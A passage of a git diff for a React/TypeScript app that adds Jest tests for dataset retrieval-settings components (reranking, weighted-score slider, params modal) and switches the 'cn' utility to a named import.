+      expect(screen.getByTestId(`card-item-${dataset.id}`)).toBeInTheDocument()
+    })
+
+    it('should allow editing when user has partial member permission', () => {
+      const { hasEditPermissionForDataset } = require('@/utils/permission')
+      hasEditPermissionForDataset.mockReturnValue(true)
+
+      const dataset = createMockDataset({
+        created_by: 'admin',
+        permission: DatasetPermission.partialMembers,
+        partial_member_list: ['user-123'],
+      })
+
+      renderDatasetConfig({
+        dataSets: [dataset],
+      })
+
+      expect(screen.getByTestId(`card-item-${dataset.id}`)).toBeInTheDocument()
+    })
+  })
+
+  describe('Dataset Reordering and Management', () => {
+    it('should maintain dataset order after updates', () => {
+      const datasets = [
+        createMockDataset({ id: 'ds1', name: 'Dataset 1' }),
+        createMockDataset({ id: 'ds2', name: 'Dataset 2' }),
+        createMockDataset({ id: 'ds3', name: 'Dataset 3' }),
+      ]
+
+      renderDatasetConfig({
+        dataSets: datasets,
+      })
+
+      // Verify order is maintained
+      expect(screen.getByText('Dataset 1')).toBeInTheDocument()
+      expect(screen.getByText('Dataset 2')).toBeInTheDocument()
+      expect(screen.getByText('Dataset 3')).toBeInTheDocument()
+    })
+
+    it('should handle multiple dataset operations correctly', async () => {
+      const user = userEvent.setup()
+      const datasets = [
+        createMockDataset({ id: 'ds1', name: 'Dataset 1' }),
+        createMockDataset({ id: 'ds2', name: 'Dataset 2' }),
+      ]
+
+      renderDatasetConfig({
+        dataSets: datasets,
+      })
+
+      // Remove first dataset
+      const removeButton1 = screen.getAllByText('Remove')[0]
+      await user.click(removeButton1)
+
+      expect(mockConfigContext.setDataSets).toHaveBeenCalledWith([datasets[1]])
+    })
+  })
+
+  describe('Complex Configuration Scenarios', () => {
+    it('should handle multiple retrieval methods in configuration', () => {
+      const datasets = [
+        createMockDataset({
+          id: 'ds1',
+          retrieval_model: {
+            search_method: 'semantic_search' as any,
+            reranking_enable: true,
+            reranking_model: {
+              reranking_provider_name: 'cohere',
+              reranking_model_name: 'rerank-v3.5',
+            },
+            top_k: 5,
+            score_threshold_enabled: true,
+            score_threshold: 0.8,
+          },
+        }),
+        createMockDataset({
+          id: 'ds2',
+          retrieval_model: {
+            search_method: 'full_text_search' as any,
+            reranking_enable: false,
+            reranking_model: {
+              reranking_provider_name: '',
+              reranking_model_name: '',
+            },
+            top_k: 3,
+            score_threshold_enabled: false,
+            score_threshold: 0.5,
+          },
+        }),
+      ]
+
+      renderDatasetConfig({
+        dataSets: datasets,
+      })
+
+      expect(screen.getByTestId('params-config')).toHaveTextContent('Params (2)')
+    })
+
+    it('should handle external knowledge base integration', () => {
+      const externalDataset = createMockDataset({
+        provider: 'notion',
+        external_knowledge_info: {
+          external_knowledge_id: 'notion-123',
+          external_knowledge_api_id: 'api-456',
+          external_knowledge_api_name: 'Notion Integration',
+          external_knowledge_api_endpoint: 'https://api.notion.com',
+        },
+      })
+
+      renderDatasetConfig({
+        dataSets: [externalDataset],
+      })
+
+      expect(screen.getByTestId(`card-item-${externalDataset.id}`)).toBeInTheDocument()
+      expect(screen.getByText(externalDataset.name)).toBeInTheDocument()
+    })
+  })
+
+  describe('Performance and Error Handling', () => {
+    it('should handle large dataset lists efficiently', () => {
+      // Create many datasets to test performance
+      const manyDatasets = Array.from({ length: 50 }, (_, i) =>
+        createMockDataset({
+          id: `ds-${i}`,
+          name: `Dataset ${i}`,
+          doc_metadata: [
+            { name: 'category', type: 'string' } as any,
+            { name: 'priority', type: 'number' } as any,
+          ],
+        }),
+      )
+
+      renderDatasetConfig({
+        dataSets: manyDatasets,
+      })
+
+      expect(screen.getByTestId('params-config')).toHaveTextContent('Params (50)')
+    })
+
+    it('should handle metadata intersection calculation efficiently', () => {
+      const datasets = [
+        createMockDataset({
+          id: 'ds1',
+          doc_metadata: [
+            { name: 'category', type: 'string' } as any,
+            { name: 'tags', type: 'string' } as any,
+            { name: 'priority', type: 'number' } as any,
+          ],
+        }),
+        createMockDataset({
+          id: 'ds2',
+          doc_metadata: [
+            { name: 'category', type: 'string' } as any,
+            { name: 'status', type: 'string' } as any,
+            { name: 'priority', type: 'number' } as any,
+          ],
+        }),
+      ]
+
+      renderDatasetConfig({
+        dataSets: datasets,
+      })
+
+      // Should calculate intersection correctly
+      expect(screen.getByTestId('metadata-filter')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/dataset-config/params-config/config-content.spec.tsx b/web/app/components/app/configuration/dataset-config/params-config/config-content.spec.tsx
new file mode 100644
index 0000000000..e44eba6c03
--- /dev/null
+++ b/web/app/components/app/configuration/dataset-config/params-config/config-content.spec.tsx
@@ -0,0 +1,390 @@
+import { render, screen, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import ConfigContent from './config-content'
+import type { DataSet } from '@/models/datasets'
+import { ChunkingMode, DataSourceType, DatasetPermission, RerankingModeEnum, WeightedScoreEnum } from '@/models/datasets'
+import type { DatasetConfigs } from '@/models/debug'
+import { RETRIEVE_METHOD, RETRIEVE_TYPE } from '@/types/app'
+import type { RetrievalConfig } from '@/types/app'
+import Toast from '@/app/components/base/toast'
+import type { IndexingType } from '@/app/components/datasets/create/step-two'
+import {
+  useCurrentProviderAndModel,
+  useModelListAndDefaultModelAndCurrentProviderAndModel,
+} from '@/app/components/header/account-setting/model-provider-page/hooks'
+
+jest.mock('@/app/components/header/account-setting/model-provider-page/model-selector', () => {
+  type Props = {
+    defaultModel?: { provider: string; model: string }
+    onSelect?: (model: { provider: string; model: string }) => void
+  }
+
+  const MockModelSelector = ({ defaultModel, onSelect }: Props) => (
+    <button
+      type="button"
+      onClick={() => onSelect?.(defaultModel ?? { provider: 'mock-provider', model: 'mock-model' })}
+    >
+      Mock ModelSelector
+    </button>
+  )
+
+  return {
+    __esModule: true,
+    default: MockModelSelector,
+  }
+})
+
+jest.mock('@/app/components/header/account-setting/model-provider-page/model-parameter-modal', () => ({
+  __esModule: true,
+  default: () => <div data-testid="model-parameter-modal" />,
+}))
+
+jest.mock('@/app/components/header/account-setting/model-provider-page/hooks', () => ({
+  useModelListAndDefaultModelAndCurrentProviderAndModel: jest.fn(),
+  useCurrentProviderAndModel: jest.fn(),
+}))
+
+const mockedUseModelListAndDefaultModelAndCurrentProviderAndModel = useModelListAndDefaultModelAndCurrentProviderAndModel as jest.MockedFunction<typeof useModelListAndDefaultModelAndCurrentProviderAndModel>
+const mockedUseCurrentProviderAndModel = useCurrentProviderAndModel as jest.MockedFunction<typeof useCurrentProviderAndModel>
+
+let toastNotifySpy: jest.SpyInstance
+
+const baseRetrievalConfig: RetrievalConfig = {
+  search_method: RETRIEVE_METHOD.semantic,
+  reranking_enable: false,
+  reranking_model: {
+    reranking_provider_name: 'provider',
+    reranking_model_name: 'rerank-model',
+  },
+  top_k: 4,
+  score_threshold_enabled: false,
+  score_threshold: 0,
+}
+
+const defaultIndexingTechnique: IndexingType = 'high_quality' as IndexingType
+
+const createDataset = (overrides: Partial<DataSet> = {}): DataSet => {
+  const {
+    retrieval_model,
+    retrieval_model_dict,
+    icon_info,
+    ...restOverrides
+  } = overrides
+
+  const resolvedRetrievalModelDict = {
+    ...baseRetrievalConfig,
+    ...retrieval_model_dict,
+  }
+  const resolvedRetrievalModel = {
+    ...baseRetrievalConfig,
+    ...(retrieval_model ?? retrieval_model_dict),
+  }
+
+  const defaultIconInfo = {
+    icon: '📘',
+    icon_type: 'emoji',
+    icon_background: '#FFEAD5',
+    icon_url: '',
+  }
+
+  const resolvedIconInfo = ('icon_info' in overrides)
+    ? icon_info
+    : defaultIconInfo
+
+  return {
+    id: 'dataset-id',
+    name: 'Dataset Name',
+    indexing_status: 'completed',
+    icon_info: resolvedIconInfo as DataSet['icon_info'],
+    description: 'A test dataset',
+    permission: DatasetPermission.onlyMe,
+    data_source_type: DataSourceType.FILE,
+    indexing_technique: defaultIndexingTechnique,
+    author_name: 'author',
+    created_by: 'creator',
+    updated_by: 'updater',
+    updated_at: 0,
+    app_count: 0,
+    doc_form: ChunkingMode.text,
+    document_count: 0,
+    total_document_count: 0,
+    total_available_documents: 0,
+    word_count: 0,
+    provider: 'dify',
+    embedding_model: 'text-embedding',
+    embedding_model_provider: 'openai',
+    embedding_available: true,
+    retrieval_model_dict: resolvedRetrievalModelDict,
+    retrieval_model: resolvedRetrievalModel,
+    tags: [],
+    external_knowledge_info: {
+      external_knowledge_id: 'external-id',
+      external_knowledge_api_id: 'api-id',
+      external_knowledge_api_name: 'api-name',
+      external_knowledge_api_endpoint: 'https://endpoint',
+    },
+    external_retrieval_model: {
+      top_k: 2,
+      score_threshold: 0.5,
+      score_threshold_enabled: true,
+    },
+    built_in_field_enabled: true,
+    doc_metadata: [],
+    keyword_number: 3,
+    pipeline_id: 'pipeline-id',
+    is_published: true,
+    runtime_mode: 'general',
+    enable_api: true,
+    is_multimodal: false,
+    ...restOverrides,
+  }
+}
+
+const createDatasetConfigs = (overrides: Partial<DatasetConfigs> = {}): DatasetConfigs => {
+  return {
+    retrieval_model: RETRIEVE_TYPE.multiWay,
+    reranking_model: {
+      reranking_provider_name: '',
+      reranking_model_name: '',
+    },
+    top_k: 4,
+    score_threshold_enabled: false,
+    score_threshold: 0,
+    datasets: {
+      datasets: [],
+    },
+    reranking_mode: RerankingModeEnum.WeightedScore,
+    weights: {
+      weight_type: WeightedScoreEnum.Customized,
+      vector_setting: {
+        vector_weight: 0.5,
+        embedding_provider_name: 'openai',
+        embedding_model_name: 'text-embedding',
+      },
+      keyword_setting: {
+        keyword_weight: 0.5,
+      },
+    },
+    reranking_enable: false,
+    ...overrides,
+  }
+}
+
+describe('ConfigContent', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    toastNotifySpy = jest.spyOn(Toast, 'notify').mockImplementation(() => ({}))
+    mockedUseModelListAndDefaultModelAndCurrentProviderAndModel.mockReturnValue({
+      modelList: [],
+      defaultModel: undefined,
+      currentProvider: undefined,
+      currentModel: undefined,
+    })
+    mockedUseCurrentProviderAndModel.mockReturnValue({
+      currentProvider: undefined,
+      currentModel: undefined,
+    })
+  })
+
+  afterEach(() => {
+    toastNotifySpy.mockRestore()
+  })
+
+  // State management
+  describe('Effects', () => {
+    it('should normalize oneWay retrieval mode to multiWay', async () => {
+      // Arrange
+      const onChange = jest.fn<void, [DatasetConfigs, boolean?]>()
+      const datasetConfigs = createDatasetConfigs({ retrieval_model: RETRIEVE_TYPE.oneWay })
+
+      // Act
+      render(<ConfigContent datasetConfigs={datasetConfigs} onChange={onChange} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(onChange).toHaveBeenCalled()
+      })
+      const [nextConfigs] = onChange.mock.calls[0]
+      expect(nextConfigs.retrieval_model).toBe(RETRIEVE_TYPE.multiWay)
+    })
+  })
+
+  // Rendering tests (REQUIRED)
+  describe('Rendering', () => {
+    it('should render weighted score panel when datasets are high-quality and consistent', () => {
+      // Arrange
+      const onChange = jest.fn<void, [DatasetConfigs, boolean?]>()
+      const datasetConfigs = createDatasetConfigs({
+        reranking_mode: RerankingModeEnum.WeightedScore,
+      })
+      const selectedDatasets: DataSet[] = [
+        createDataset({
+          indexing_technique: 'high_quality' as IndexingType,
+          provider: 'dify',
+          embedding_model: 'text-embedding',
+          embedding_model_provider: 'openai',
+          retrieval_model_dict: {
+            ...baseRetrievalConfig,
+            search_method: RETRIEVE_METHOD.semantic,
+          },
+        }),
+      ]
+
+      // Act
+      render(
+        <ConfigContent
+          datasetConfigs={datasetConfigs}
+          onChange={onChange}
+          selectedDatasets={selectedDatasets}
+        />,
+      )
+
+      // Assert
+      expect(screen.getByText('dataset.weightedScore.title')).toBeInTheDocument()
+      expect(screen.getByText('common.modelProvider.rerankModel.key')).toBeInTheDocument()
+      expect(screen.getByText('dataset.weightedScore.semantic')).toBeInTheDocument()
+      expect(screen.getByText('dataset.weightedScore.keyword')).toBeInTheDocument()
+    })
+  })
+
+  // User interactions
+  describe('User Interactions', () => {
+    it('should update weights when user changes weighted score slider', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const onChange = jest.fn<void, [DatasetConfigs, boolean?]>()
+      const datasetConfigs = createDatasetConfigs({
+        reranking_mode: RerankingModeEnum.WeightedScore,
+        weights: {
+          weight_type: WeightedScoreEnum.Customized,
+          vector_setting: {
+            vector_weight: 0.5,
+            embedding_provider_name: 'openai',
+            embedding_model_name: 'text-embedding',
+          },
+          keyword_setting: {
+            keyword_weight: 0.5,
+          },
+        },
+      })
+      const selectedDatasets: DataSet[] = [
+        createDataset({
+          indexing_technique: 'high_quality' as IndexingType,
+          provider: 'dify',
+          embedding_model: 'text-embedding',
+          embedding_model_provider: 'openai',
+          retrieval_model_dict: {
+            ...baseRetrievalConfig,
+            search_method: RETRIEVE_METHOD.semantic,
+          },
+        }),
+      ]
+
+      // Act
+      render(
+        <ConfigContent
+          datasetConfigs={datasetConfigs}
+          onChange={onChange}
+          selectedDatasets={selectedDatasets}
+        />,
+      )
+
+      const weightedScoreSlider = screen.getAllByRole('slider')
+        .find(slider => slider.getAttribute('aria-valuemax') === '1')
+      expect(weightedScoreSlider).toBeDefined()
+      await user.click(weightedScoreSlider!)
+      const callsBefore = onChange.mock.calls.length
+      await user.keyboard('{ArrowRight}')
+
+      // Assert
+      expect(onChange.mock.calls.length).toBeGreaterThan(callsBefore)
+      const [nextConfigs] = onChange.mock.calls.at(-1) ?? []
+      expect(nextConfigs?.weights?.vector_setting.vector_weight).toBeCloseTo(0.6, 5)
+      expect(nextConfigs?.weights?.keyword_setting.keyword_weight).toBeCloseTo(0.4, 5)
+    })
+
+    it('should warn when switching to rerank model mode without a valid model', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const onChange = jest.fn<void, [DatasetConfigs, boolean?]>()
+      const datasetConfigs = createDatasetConfigs({
+        reranking_mode: RerankingModeEnum.WeightedScore,
+      })
+      const selectedDatasets: DataSet[] = [
+        createDataset({
+          indexing_technique: 'high_quality' as IndexingType,
+          provider: 'dify',
+          embedding_model: 'text-embedding',
+          embedding_model_provider: 'openai',
+          retrieval_model_dict: {
+            ...baseRetrievalConfig,
+            search_method: RETRIEVE_METHOD.semantic,
+          },
+        }),
+      ]
+
+      // Act
+      render(
+        <ConfigContent
+          datasetConfigs={datasetConfigs}
+          onChange={onChange}
+          selectedDatasets={selectedDatasets}
+        />,
+      )
+      await user.click(screen.getByText('common.modelProvider.rerankModel.key'))
+
+      // Assert
+      expect(toastNotifySpy).toHaveBeenCalledWith({
+        type: 'error',
+        message: 'workflow.errorMsg.rerankModelRequired',
+      })
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          reranking_mode: RerankingModeEnum.RerankingModel,
+        }),
+      )
+    })
+
+    it('should warn when enabling rerank without a valid model in manual toggle mode', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const onChange = jest.fn<void, [DatasetConfigs, boolean?]>()
+      const datasetConfigs = createDatasetConfigs({
+        reranking_enable: false,
+      })
+      const selectedDatasets: DataSet[] = [
+        createDataset({
+          indexing_technique: 'economy' as IndexingType,
+          provider: 'dify',
+          embedding_model: 'text-embedding',
+          embedding_model_provider: 'openai',
+          retrieval_model_dict: {
+            ...baseRetrievalConfig,
+            search_method: RETRIEVE_METHOD.semantic,
+          },
+        }),
+      ]
+
+      // Act
+      render(
+        <ConfigContent
+          datasetConfigs={datasetConfigs}
+          onChange={onChange}
+          selectedDatasets={selectedDatasets}
+        />,
+      )
+      await user.click(screen.getByRole('switch'))
+
+      // Assert
+      expect(toastNotifySpy).toHaveBeenCalledWith({
+        type: 'error',
+        message: 'workflow.errorMsg.rerankModelRequired',
+      })
+      expect(onChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          reranking_enable: true,
+        }),
+      )
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/dataset-config/params-config/config-content.tsx b/web/app/components/app/configuration/dataset-config/params-config/config-content.tsx
index 8e06d6c901..c7a43fbfbd 100644
--- a/web/app/components/app/configuration/dataset-config/params-config/config-content.tsx
+++ b/web/app/components/app/configuration/dataset-config/params-config/config-content.tsx
@@ -20,7 +20,7 @@ import type {
   DataSet,
 } from '@/models/datasets'
 import { RerankingModeEnum } from '@/models/datasets'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useSelectedDatasetsMode } from '@/app/components/workflow/nodes/knowledge-retrieval/hooks'
 import Switch from '@/app/components/base/switch'
 import Toast from '@/app/components/base/toast'
diff --git a/web/app/components/app/configuration/dataset-config/params-config/index.spec.tsx b/web/app/components/app/configuration/dataset-config/params-config/index.spec.tsx
new file mode 100644
index 0000000000..c432ca68e2
--- /dev/null
+++ b/web/app/components/app/configuration/dataset-config/params-config/index.spec.tsx
@@ -0,0 +1,265 @@
+import * as React from 'react'
+import { render, screen, waitFor, within } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import ParamsConfig from './index'
+import ConfigContext from '@/context/debug-configuration'
+import type { DatasetConfigs } from '@/models/debug'
+import { RerankingModeEnum } from '@/models/datasets'
+import { RETRIEVE_TYPE } from '@/types/app'
+import Toast from '@/app/components/base/toast'
+import {
+  useCurrentProviderAndModel,
+  useModelListAndDefaultModelAndCurrentProviderAndModel,
+} from '@/app/components/header/account-setting/model-provider-page/hooks'
+
+jest.mock('@headlessui/react', () => ({
+  Dialog: ({ children, className }: { children: React.ReactNode; className?: string }) => (
+    <div role="dialog" className={className}>
+      {children}
+    </div>
+  ),
+  DialogPanel: ({ children, className, ...props }: { children: React.ReactNode; className?: string }) => (
+    <div className={className} {...props}>
+      {children}
+    </div>
+  ),
+  DialogTitle: ({ children, className, ...props }: { children: React.ReactNode; className?: string }) => (
+    <div className={className} {...props}>
+      {children}
+    </div>
+  ),
+  Transition: ({ show, children }: { show: boolean; children: React.ReactNode }) => (show ? <>{children}</> : null),
+  TransitionChild: ({ children }: { children: React.ReactNode }) => <>{children}</>,
+  Switch: ({ checked, onChange, children, ...props }: { checked: boolean; onChange?: (value: boolean) => void; children?: React.ReactNode }) => (
+    <button
+      type="button"
+      role="switch"
+      aria-checked={checked}
+      onClick={() => onChange?.(!checked)}
+      {...props}
+    >
+      {children}
+    </button>
+  ),
+}))
+
+jest.mock('@/app/components/header/account-setting/model-provider-page/hooks', () => ({
+  useModelListAndDefaultModelAndCurrentProviderAndModel: jest.fn(),
+  useCurrentProviderAndModel: jest.fn(),
+}))
+
+jest.mock('@/app/components/header/account-setting/model-provider-page/model-selector', () => {
+  type Props = {
+    defaultModel?: { provider: string; model: string }
+    onSelect?: (model: { provider: string; model: string }) => void
+  }
+
+  const MockModelSelector = ({ defaultModel, onSelect }: Props) => (
+    <button
+      type="button"
+      onClick={() => onSelect?.(defaultModel ?? { provider: 'mock-provider', model: 'mock-model' })}
+    >
+      Mock ModelSelector
+    </button>
+  )
+
+  return {
+    __esModule: true,
+    default: MockModelSelector,
+  }
+})
+
+jest.mock('@/app/components/header/account-setting/model-provider-page/model-parameter-modal', () => ({
+  __esModule: true,
+  default: () => <div data-testid="model-parameter-modal" />,
+}))
+
+const mockedUseModelListAndDefaultModelAndCurrentProviderAndModel = useModelListAndDefaultModelAndCurrentProviderAndModel as jest.MockedFunction<typeof useModelListAndDefaultModelAndCurrentProviderAndModel>
+const mockedUseCurrentProviderAndModel = useCurrentProviderAndModel as jest.MockedFunction<typeof useCurrentProviderAndModel>
+let toastNotifySpy: jest.SpyInstance
+
+const createDatasetConfigs = (overrides: Partial<DatasetConfigs> = {}): DatasetConfigs => {
+  return {
+    retrieval_model: RETRIEVE_TYPE.multiWay,
+    reranking_model: {
+      reranking_provider_name: 'provider',
+      reranking_model_name: 'rerank-model',
+    },
+    top_k: 4,
+    score_threshold_enabled: false,
+    score_threshold: 0,
+    datasets: {
+      datasets: [],
+    },
+    reranking_enable: false,
+    reranking_mode: RerankingModeEnum.RerankingModel,
+    ...overrides,
+  }
+}
+
+const renderParamsConfig = ({
+  datasetConfigs = createDatasetConfigs(),
+  initialModalOpen = false,
+  disabled,
+}: {
+  datasetConfigs?: DatasetConfigs
+  initialModalOpen?: boolean
+  disabled?: boolean
+} = {}) => {
+  const Wrapper = ({ children }: { children: React.ReactNode }) => {
+    const [datasetConfigsState, setDatasetConfigsState] = React.useState(datasetConfigs)
+    const [modalOpen, setModalOpen] = React.useState(initialModalOpen)
+
+    const contextValue = {
+      datasetConfigs: datasetConfigsState,
+      setDatasetConfigs: (next: DatasetConfigs) => {
+        setDatasetConfigsState(next)
+      },
+      rerankSettingModalOpen: modalOpen,
+      setRerankSettingModalOpen: (open: boolean) => {
+        setModalOpen(open)
+      },
+    } as unknown as React.ComponentProps<typeof ConfigContext.Provider>['value']
+
+    return (
+      <ConfigContext.Provider value={contextValue}>
+        {children}
+      </ConfigContext.Provider>
+    )
+  }
+
+  return render(
+    <ParamsConfig
+      disabled={disabled}
+      selectedDatasets={[]}
+    />,
+    { wrapper: Wrapper },
+  )
+}
+
+describe('dataset-config/params-config', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    jest.useRealTimers()
+    toastNotifySpy = jest.spyOn(Toast, 'notify').mockImplementation(() => ({}))
+    mockedUseModelListAndDefaultModelAndCurrentProviderAndModel.mockReturnValue({
+      modelList: [],
+      defaultModel: undefined,
+      currentProvider: undefined,
+      currentModel: undefined,
+    })
+    mockedUseCurrentProviderAndModel.mockReturnValue({
+      currentProvider: undefined,
+      currentModel: undefined,
+    })
+  })
+
+  afterEach(() => {
+    toastNotifySpy.mockRestore()
+  })
+
+  // Rendering tests (REQUIRED)
+  describe('Rendering', () => {
+    it('should disable settings trigger when disabled is true', () => {
+      // Arrange
+      renderParamsConfig({ disabled: true })
+
+      // Assert
+      expect(screen.getByRole('button', { name: 'dataset.retrievalSettings' })).toBeDisabled()
+    })
+  })
+
+  // User Interactions
+  describe('User Interactions', () => {
+    it('should open modal and persist changes when save is clicked', async () => {
+      // Arrange
+      renderParamsConfig()
+      const user = userEvent.setup()
+
+      // Act
+      await user.click(screen.getByRole('button', { name: 'dataset.retrievalSettings' }))
+      const dialog = await screen.findByRole('dialog', {}, { timeout: 3000 })
+      const dialogScope = within(dialog)
+
+      const incrementButtons = dialogScope.getAllByRole('button', { name: 'increment' })
+      await user.click(incrementButtons[0])
+
+      await waitFor(() => {
+        const [topKInput] = dialogScope.getAllByRole('spinbutton')
+        expect(topKInput).toHaveValue(5)
+      })
+
+      await user.click(dialogScope.getByRole('button', { name: 'common.operation.save' }))
+
+      await waitFor(() => {
+        expect(screen.queryByRole('dialog')).not.toBeInTheDocument()
+      })
+
+      await user.click(screen.getByRole('button', { name: 'dataset.retrievalSettings' }))
+      const reopenedDialog = await screen.findByRole('dialog', {}, { timeout: 3000 })
+      const reopenedScope = within(reopenedDialog)
+      const [reopenedTopKInput] = reopenedScope.getAllByRole('spinbutton')
+
+      // Assert
+      expect(reopenedTopKInput).toHaveValue(5)
+    })
+
+    it('should discard changes when cancel is clicked', async () => {
+      // Arrange
+      renderParamsConfig()
+      const user = userEvent.setup()
+
+      // Act
+      await user.click(screen.getByRole('button', { name: 'dataset.retrievalSettings' }))
+      const dialog = await screen.findByRole('dialog', {}, { timeout: 3000 })
+      const dialogScope = within(dialog)
+
+      const incrementButtons = dialogScope.getAllByRole('button', { name: 'increment' })
+      await user.click(incrementButtons[0])
+
+      await waitFor(() => {
+        const [topKInput] = dialogScope.getAllByRole('spinbutton')
+        expect(topKInput).toHaveValue(5)
+      })
+
+      const cancelButton = await dialogScope.findByRole('button', { name: 'common.operation.cancel' })
+      await user.click(cancelButton)
+      await waitFor(() => {
+        expect(screen.queryByRole('dialog')).not.toBeInTheDocument()
+      })
+
+      // Re-open and verify the original value remains.
+      await user.click(screen.getByRole('button', { name: 'dataset.retrievalSettings' }))
+      const reopenedDialog = await screen.findByRole('dialog', {}, { timeout: 3000 })
+      const reopenedScope = within(reopenedDialog)
+      const [reopenedTopKInput] = reopenedScope.getAllByRole('spinbutton')
+
+      // Assert
+      expect(reopenedTopKInput).toHaveValue(4)
+    })
+
+    it('should prevent saving when rerank model is required but invalid', async () => {
+      // Arrange
+      renderParamsConfig({
+        datasetConfigs: createDatasetConfigs({
+          reranking_enable: true,
+          reranking_mode: RerankingModeEnum.RerankingModel,
+        }),
+        initialModalOpen: true,
+      })
+      const user = userEvent.setup()
+
+      // Act
+      const dialog = await screen.findByRole('dialog', {}, { timeout: 3000 })
+      const dialogScope = within(dialog)
+      await user.click(dialogScope.getByRole('button', { name: 'common.operation.save' }))
+
+      // Assert
+      expect(toastNotifySpy).toHaveBeenCalledWith({
+        type: 'error',
+        message: 'appDebug.datasetConfig.rerankModelRequired',
+      })
+      expect(screen.getByRole('dialog')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/dataset-config/params-config/index.tsx b/web/app/components/app/configuration/dataset-config/params-config/index.tsx
index df2b4293c4..24da958217 100644
--- a/web/app/components/app/configuration/dataset-config/params-config/index.tsx
+++ b/web/app/components/app/configuration/dataset-config/params-config/index.tsx
@@ -4,7 +4,7 @@ import { useTranslation } from 'react-i18next'
 import { useContext } from 'use-context-selector'
 import { RiEqualizer2Line } from '@remixicon/react'
 import ConfigContent from './config-content'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import ConfigContext from '@/context/debug-configuration'
 import Modal from '@/app/components/base/modal'
 import Button from '@/app/components/base/button'
diff --git a/web/app/components/app/configuration/dataset-config/params-config/weighted-score.spec.tsx b/web/app/components/app/configuration/dataset-config/params-config/weighted-score.spec.tsx
new file mode 100644
index 0000000000..e7b1eb8421
--- /dev/null
+++ b/web/app/components/app/configuration/dataset-config/params-config/weighted-score.spec.tsx
@@ -0,0 +1,81 @@
+import { render, screen } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import WeightedScore from './weighted-score'
+
+describe('WeightedScore', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Rendering tests (REQUIRED)
+  describe('Rendering', () => {
+    it('should render semantic and keyword weights', () => {
+      // Arrange
+      const onChange = jest.fn<void, [{ value: number[] }]>()
+      const value = { value: [0.3, 0.7] }
+
+      // Act
+      render(<WeightedScore value={value} onChange={onChange} />)
+
+      // Assert
+      expect(screen.getByText('dataset.weightedScore.semantic')).toBeInTheDocument()
+      expect(screen.getByText('dataset.weightedScore.keyword')).toBeInTheDocument()
+      expect(screen.getByText('0.3')).toBeInTheDocument()
+      expect(screen.getByText('0.7')).toBeInTheDocument()
+    })
+
+    it('should format a weight of 1 as 1.0', () => {
+      // Arrange
+      const onChange = jest.fn<void, [{ value: number[] }]>()
+      const value = { value: [1, 0] }
+
+      // Act
+      render(<WeightedScore value={value} onChange={onChange} />)
+
+      // Assert
+      expect(screen.getByText('1.0')).toBeInTheDocument()
+      expect(screen.getByText('0')).toBeInTheDocument()
+    })
+  })
+
+  // User Interactions
+  describe('User Interactions', () => {
+    it('should emit complementary weights when the slider value changes', async () => {
+      // Arrange
+      const onChange = jest.fn<void, [{ value: number[] }]>()
+      const value = { value: [0.5, 0.5] }
+      const user = userEvent.setup()
+      render(<WeightedScore value={value} onChange={onChange} />)
+
+      // Act
+      await user.tab()
+      const slider = screen.getByRole('slider')
+      expect(slider).toHaveFocus()
+      const callsBefore = onChange.mock.calls.length
+      await user.keyboard('{ArrowRight}')
+
+      // Assert
+      expect(onChange.mock.calls.length).toBeGreaterThan(callsBefore)
+      const lastCall = onChange.mock.calls.at(-1)?.[0]
+      expect(lastCall?.value[0]).toBeCloseTo(0.6, 5)
+      expect(lastCall?.value[1]).toBeCloseTo(0.4, 5)
+    })
+
+    it('should not call onChange when readonly is true', async () => {
+      // Arrange
+      const onChange = jest.fn<void, [{ value: number[] }]>()
+      const value = { value: [0.5, 0.5] }
+      const user = userEvent.setup()
+      render(<WeightedScore value={value} onChange={onChange} readonly />)
+
+      // Act
+      await user.tab()
+      const slider = screen.getByRole('slider')
+      expect(slider).toHaveFocus()
+      await user.keyboard('{ArrowRight}')
+
+      // Assert
+      expect(onChange).not.toHaveBeenCalled()
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/dataset-config/params-config/weighted-score.tsx b/web/app/components/app/configuration/dataset-config/params-config/weighted-score.tsx
index ebfa3b1e12..459623104d 100644
--- a/web/app/components/app/configuration/dataset-config/params-config/weighted-score.tsx
+++ b/web/app/components/app/configuration/dataset-config/params-config/weighted-score.tsx
@@ -2,7 +2,7 @@ import { memo } from 'react'
 import { useTranslation } from 'react-i18next'
 import './weighted-score.css'
 import Slider from '@/app/components/base/slider'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { noop } from 'lodash-es'
 
 const formatNumber = (value: number) => {
diff --git a/web/app/components/app/configuration/dataset-config/select-dataset/index.tsx b/web/app/components/app/configuration/dataset-config/select-dataset/index.tsx
index 6857c38e1e..f02fdcb5d7 100644
--- a/web/app/components/app/configuration/dataset-config/select-dataset/index.tsx
+++ b/web/app/components/app/configuration/dataset-config/select-dataset/index.tsx
@@ -10,7 +10,7 @@ import Button from '@/app/components/base/button'
 import Loading from '@/app/components/base/loading'
 import Badge from '@/app/components/base/badge'
 import { useKnowledge } from '@/hooks/use-knowledge'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import AppIcon from '@/app/components/base/app-icon'
 import { useInfiniteDatasets } from '@/service/knowledge/use-dataset'
 import { ModelFeatureEnum } from '@/app/components/header/account-setting/model-provider-page/declarations'
diff --git a/web/app/components/app/configuration/dataset-config/settings-modal/index.spec.tsx b/web/app/components/app/configuration/dataset-config/settings-modal/index.spec.tsx
new file mode 100644
index 0000000000..e2c5307b03
--- /dev/null
+++ b/web/app/components/app/configuration/dataset-config/settings-modal/index.spec.tsx
@@ -0,0 +1,537 @@
+import { render, screen, waitFor } from '@testing-library/react'
